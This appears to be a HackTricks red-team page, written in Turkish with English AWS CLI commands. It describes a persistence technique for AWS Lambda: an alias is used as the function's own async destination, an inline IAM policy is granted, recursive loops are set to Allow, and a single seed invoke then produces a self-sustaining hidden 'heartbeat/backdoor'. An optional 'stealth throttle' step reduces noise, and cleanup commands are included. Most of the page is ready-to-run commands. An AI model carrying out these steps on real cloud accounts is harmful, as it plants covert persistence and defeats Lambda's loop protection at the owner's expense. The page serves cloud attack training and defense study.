AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Lambda asynchronous Destinations ile Recursion yapılandırmasını birlikte kullanarak bir fonksiyonun herhangi bir harici zamanlayıcı (EventBridge, cron vb. olmadan) sürekli olarak kendini yeniden çağırmasını sağlayın. Varsayılan olarak, Lambda özyinelemeli döngüleri sonlandırır, ancak recursion config’i Allow olarak ayarlamak bunları yeniden etkinleştirir. Destinations, async invokes için servis tarafında teslimat yapar; bu yüzden tek bir seed invoke gizli, kod içermeyen bir heartbeat/backdoor kanalı oluşturur. Gürültüyü düşük tutmak için isteğe bağlı olarak reserved concurrency ile sınırlandırın.

Notes

  • Lambda, bir fonksiyonu doğrudan kendi destination’ı olarak yapılandırmaya izin vermez. Destination olarak bir function alias kullanın ve execution role’un o alias’ı invoke etmesine izin verin.
  • Minimum izinler: hedef fonksiyonun event invoke config ve recursion config’ini okuma/güncelleme yetkisi, bir version publish etme ve bir alias yönetme, ve function’ın execution role policy’sini güncelleyerek alias üzerinde lambda:InvokeFunction izni verme.

Requirements

  • Region: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Steps

  1. Fonksiyon ARN’sini ve mevcut recursion ayarını alın
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Bir sürüm yayınlayın ve bir alias oluşturun/güncelleyin (kendi hedefi olarak kullanılır)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Fonksiyonun yürütme rolünün alias’ı çağırmasına izin verin (Lambda Destinations→Lambda tarafından gereklidir)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. async destination’ı alias’a (alias üzerinden kendisine) yönlendir ve retries’i devre dışı bırak
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Özyinelemeli döngülere izin ver
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Tek bir asynchronous invoke başlat
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Sürekli çağrıları gözlemleyin (örnekler)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. İsteğe bağlı stealth throttle
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Temizleme

Döngüyü sonlandırın ve persistence’i kaldırın.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Etki

  • Tek bir async invoke, Lambda’nın harici bir zamanlayıcı olmadan sürekli kendini yeniden çağırmasına neden olur; bu da stealthy persistence/heartbeat sağlar. Reserved concurrency, gürültüyü tek bir warm execution ile sınırlayabilir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin